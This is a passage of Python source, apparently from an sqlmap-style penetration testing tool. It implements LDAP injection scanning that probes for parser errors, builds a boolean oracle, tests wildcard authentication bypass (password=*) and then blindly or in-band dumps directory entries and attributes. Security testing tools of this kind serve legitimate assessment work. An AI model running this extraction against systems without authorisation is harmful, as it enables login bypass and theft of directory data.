|
||||
|
||||
|
||||
def _dumpMultiValues(oracle, builder, place, parameter):
|
||||
dumped = False
|
||||
|
||||
for attr in MULTI_VALUE_ATTRIBUTES:
|
||||
if not _exists(oracle, builder, attr):
|
||||
continue
|
||||
|
||||
value = _inferAttribute(oracle, builder, attr)
|
||||
if value:
|
||||
logger.info("fetched 1 value from attribute '%s'" % attr)
|
||||
_dumpTable("LDAP: %s parameter '%s' '%s' values" % (place, parameter, attr), [attr], [(value,)])
|
||||
dumped = True
|
||||
|
||||
return dumped
|
||||
|
||||
|
||||
def _grid(columns, rows):
|
||||
columns = [getUnicode(_) for _ in columns]
|
||||
rows = [[getUnicode(_) for _ in row] for row in rows]
|
||||
|
||||
widths = []
|
||||
for index, column in enumerate(columns):
|
||||
width = len(column)
|
||||
for row in rows:
|
||||
if index < len(row):
|
||||
width = max(width, len(row[index]))
|
||||
widths.append(width)
|
||||
|
||||
separator = "+-" + "-+-".join("-" * _ for _ in widths) + "-+"
|
||||
|
||||
def line(cells):
|
||||
return "| " + " | ".join((cells[index] if index < len(cells) else "").ljust(widths[index]) for index in xrange(len(columns))) + " |"
|
||||
|
||||
return "\n".join([separator, line(columns), separator] + [line(row) for row in rows] + [separator])
|
||||
|
||||
|
||||
def _dumpTable(title, columns, rows):
|
||||
if rows:
|
||||
conf.dumper.singleString("%s:\n%s" % (title, _grid(columns, rows)))
|
||||
|
||||
|
||||
def ldapScan():
|
||||
global SENTINEL
|
||||
SENTINEL = randomStr(length=10, lowercase=True)
|
||||
|
||||
infoMsg = "'--ldap' is self-contained: it detects LDAP injection in HTTP "
|
||||
infoMsg += "parameters and dumps reachable directory entries. SQL enumeration "
|
||||
infoMsg += "switches (--banner, --dbs, --tables, --users, --sql-query) are ignored"
|
||||
logger.info(infoMsg)
|
||||
|
||||
if not conf.paramDict:
|
||||
logger.error("no request parameters to test (use --data, GET params, or similar)")
|
||||
return
|
||||
|
||||
tested = found = 0
|
||||
slots = []
|
||||
|
||||
for place in (_ for _ in LDAP_PLACES if _ in conf.paramDict):
|
||||
for parameter in list(conf.paramDict[place].keys()):
|
||||
if conf.testParameter and parameter not in conf.testParameter:
|
||||
continue
|
||||
|
||||
tested += 1
|
||||
logger.info("testing LDAP injection on %s parameter '%s'" % (place, parameter))
|
||||
|
||||
# Phase 1: probe the LDAP filter parser for a backend hint.
|
||||
# This is NOT authoritative -- only a boolean oracle confirms
|
||||
# exploitable injection.
|
||||
backendHint, _errorPayload = _probeBackendByParserError(place, parameter)
|
||||
if backendHint:
|
||||
backendHint = _fingerprintByError(backendHint)
|
||||
|
||||
# Phase 2: establish a boolean oracle (authoritative).
|
||||
template, payload, breakout = _detectBoolean(place, parameter)
|
||||
if template and breakout:
|
||||
found += 1
|
||||
backend = backendHint or None
|
||||
logger.info("%s parameter '%s' is vulnerable to LDAP injection (back-end: '%s')" % (place, parameter, backend or "Generic"))
|
||||
|
||||
oracle = _makeOracle(place, parameter, template)
|
||||
slots.append(Slot(place=place, parameter=parameter, backend=backend, oracle=oracle, template=template, payload=payload, breakout=breakout))
|
||||
continue
|
||||
|
||||
# Phase 3: wildcard auth bypass (credential fields only).
|
||||
bypass = _detectAuthBypass(place, parameter)
|
||||
if bypass:
|
||||
found += 1
|
||||
logger.info("%s parameter '%s' allows LDAP wildcard auth bypass (password=*)" % (place, parameter))
|
||||
slots.append(Slot(place=place, parameter=parameter, bypass=bypass))
|
||||
continue
|
||||
|
||||
# Parser-error alone is not exploitable -- log it but do not
|
||||
# create a vulnerability report.
|
||||
if backendHint:
|
||||
logger.info("%s parameter '%s' reaches an LDAP filter parser (back-end: '%s'), but no exploitable boolean oracle was established" % (place, parameter, backendHint))
|
||||
|
||||
if not slots:
|
||||
if tested:
|
||||
warnMsg = "no parameter appears to be injectable via LDAP injection (%d tested)" % tested
|
||||
else:
|
||||
warnMsg = "no parameters found to test for LDAP injection"
|
||||
logger.warning(warnMsg)
|
||||
return
|
||||
|
||||
# Print auth-bypass reports.
|
||||
for slot in slots:
|
||||
if slot.bypass:
|
||||
conf.dumper.singleString("---\nParameter: %s (%s)\n Type: LDAP injection\n Title: LDAP auth bypass (wildcard)\n Payload: %s=%s\n---" % (slot.parameter, slot.place, slot.parameter, slot.bypass))
|
||||
|
||||
# Select the first oracle-bearing slot for fingerprint + enumeration.
|
||||
slot = next((_ for _ in slots if _.oracle and _.breakout), None)
|
||||
if not slot:
|
||||
logger.info("LDAP scan complete")
|
||||
return
|
||||
|
||||
# Refine backend fingerprint if we only have a generic hint.
|
||||
builder = _ProbeBuilder(slot.breakout)
|
||||
oracle = slot.oracle
|
||||
if not slot.backend or slot.backend == "Generic LDAP":
|
||||
backend = _fingerprintByAttribute(oracle, builder)
|
||||
if backend:
|
||||
logger.info("identified back-end DBMS: '%s'" % backend)
|
||||
slot = slot._replace(backend=backend)
|
||||
|
||||
# Determine extraction method: in-band if the template page already
|
||||
# contains parseable JSON entries, otherwise blind.
|
||||
import json
|
||||
page = oracle.template
|
||||
inband = False
|
||||
if page and page.strip().startswith('{'):
|
||||
try:
|
||||
data = json.loads(page)
|
||||
entries = data.get("entries") or data.get("results") or ()
|
||||
inband = bool(entries and isinstance(entries, (list, tuple)))
|
||||
except (ValueError, TypeError):
|
||||
pass
|
||||
|
||||
title = "LDAP in-band data exposure" if inband else "LDAP boolean-based blind"
|
||||
conf.dumper.singleString("---\nParameter: %s (%s)\n Type: LDAP injection\n Title: %s\n Payload: %s=%s\n---" % (slot.parameter, slot.place, title, slot.parameter, slot.payload))
|
||||
|
||||
logger.info("probing RootDSE-style directory metadata")
|
||||
_probeRootDSE(oracle, builder)
|
||||
|
||||
if inband:
|
||||
dumped = _dumpInband(oracle, slot)
|
||||
else:
|
||||
dumped = _dumpEntries(oracle, builder, slot.place, slot.parameter)
|
||||
dumped = _dumpMultiValues(oracle, builder, slot.place, slot.parameter) or dumped
|
||||
|
||||
if not dumped:
|
||||
warnMsg = "LDAP injection is confirmed but no directory data could be extracted. "
|
||||
warnMsg += "The injection point may expose only a limited boolean oracle or ACLs restrict reads"
|
||||
logger.warning(warnMsg)
|
||||
|
||||
logger.info("LDAP scan complete")
|
||||
Loading…
Add table
Add a link
Reference in a new issue